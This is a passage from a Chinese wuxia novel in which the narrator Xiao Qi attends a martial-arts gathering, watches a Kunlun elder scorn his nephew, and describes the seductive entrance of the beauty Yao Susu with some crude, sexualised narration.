“莫怪老夫倚老卖老,我问你,何为佛剑?”

“佛剑,乃是仁心,要想挥出大慈大悲的一剑,非心怀仁义者不能为之。”

“那么,何为仁心?”

“仁心,亦是佛剑,不具备大仁大义的心怀,又如何使得出慈悲的剑法?”

“…………”

云里雾里扯了一大通,弄到最后连我都不知道自己到底在说什么之时,却见郭政尧展颜一笑:“能被我们家秉华拜做义兄,萧公子果然是大智大勇之人呀!”

待得赵明意见到自己的师父“巨剑如山”方皓时,对方的脸上却满是欣慰,看着我的眼光也多了几分感激:“和萧少侠结拜以后,这孩子的行事逐渐由莽撞变得稳重,现下在江湖中能有如此的名头,萧少侠真是功不可没。”

“哪里、哪里……晚辈岂敢居功?都是前辈您教导有方……”

众人都是其乐融融,只有陈冠儒见到自己的师叔“古松剑”林嵩时,面色上却变得苍白,不得已迎了上去:“师叔在上,冠儒给您请安……”

看着本门的弟子,林嵩的眼睛中竟然闪过一丝不屑,冷冷道:“没想到,今年受到邀请的居然真的是你……明日的武会,你还是别参加了吧,免得给我昆仑丢脸!”

察觉到情形的不妥,我们三人一齐走了过去:“晚辈萧七、赵明意、周秉华,见过前辈!”

陈冠儒感激的看我们一眼,神情忽然变得坚定:“禀师叔,冠儒虽然不才,但必当竭尽全力,绝不至堕了我昆仑的名声!”

林嵩面无表情道:“那,你就好自为之罢……”随即向我们点点头:“几位的名字,近来可响亮得紧呢,确是不凡之才……”然后径自走开。

纵然心中疑惑,却也知道此处并不好追问详情,只好等到晚上再问了。

此时,原本喧闹嘈杂的大厅,忽然一下子变得沉静。

从闹极到静极,竟然只是如此短暂的一瞬间!这其中的巨大落差,让我的感觉是多么的不真实,仿佛一下子落入了梦幻之中,忍不住跟随众人的目光望了过去,然后,我就看见了……她。

*******************************************************门口处,三名身着绛衣、清丽脱俗的妙龄女子,簇拥着一位婀娜多姿、娇艳无伦的动人美女,正缓缓进入大厅。

她一身白衣如雪,神采飞扬的美目中,仿佛蕴涵着百般风情。与一般樱桃小口的女子不同,她那两片特别嫣红丰润的嘴唇,则分外让人感觉到一种野性的挑战。

这真是一个浑身上下充满着绝顶诱惑的美女,她那曼妙灵动的步伐,似乎包含着某种奇异的节奏,随着她柔软腰肢的摆动、酥胸那两团美好凸起的轻颤,几乎可以让人忘记呼吸。

我一生中见过的美女也算不少了,从逍遥居的各式女子、到不久前被卖掉的许云雁,个个都算得上是人间丽色,但唯一能和她比肩的,惟有那个背叛了我的蓝娉婷。

即使是当年的柔儿,在她浑然天成的风情面前,也显得生涩太多。

想到柔儿,胸口顿时如同被人狠狠扎了一针,三年多的时间已然过去,当年二八年华的青涩少女,如今出落成何等绝世的容姿了呢?

借着对柔儿的挂念,却也使我从遇美的震撼中解脱出来,想也不想,立刻便知道了她的身份。——除了武林绝色第三的“芙蓉花妃”姚素素,还能有谁?其实,单从美色上来说,她并不逊色蓝娉婷多少,之所以被人排到第三,大概是对她一贯招蜂引蝶的行径颇有微词的缘故吧。

环顾四周,年纪稍轻一点的武林侠少,无不露出心神俱醉的神情,即使是见过识广的诸多前辈,也仅有一半能够保持着清醒的眼神。

我嘴角扯出一丝淡淡的冷笑,虽说人人皆知色字头上一把刀,但真正面临美色的诱惑,又有几个可以免俗?幸而现在的我,早已对美女有了部分免疫功能,越是美丽的女人,心思越是难以捉摸,能够敬而远之,自然最好不过。

此时,其它人也逐渐回过神来,争先恐后向她打起招呼:“姚小姐!”“素素姑娘!”

姚素素果然不愧于自己在武林中的形象,如同一只花蝴蝶般穿梭在众人之间,所到之处,无不留下一股引人遐思的淡淡清香:“王少侠,真是好久不见呢!”

“刘公子,听说你最近订婚了?去年还不停给人家写诗呢,负心人,不理你了啦!”

“这位是……陈掌门?我没看错吧,真是陈掌门??您不会是吃了传说中的风月无极壮阳丸吧,怎么年轻了这么多?”

软绵绵极具魅惑的嗓音,配合眼波流转,不知又迷倒了多少前来搭讪的人士,严重者甚至面红耳赤咿咿哦哦说不出话来。

贱货。我冷眼旁观着这片混乱,不经意想起她和蓝娉婷间不浅的交情,心中竟升起一丝鄙夷。转头发现赵明意呆望的傻样,怒道:“二弟,光天化日之下帐篷高举,这成何体统?”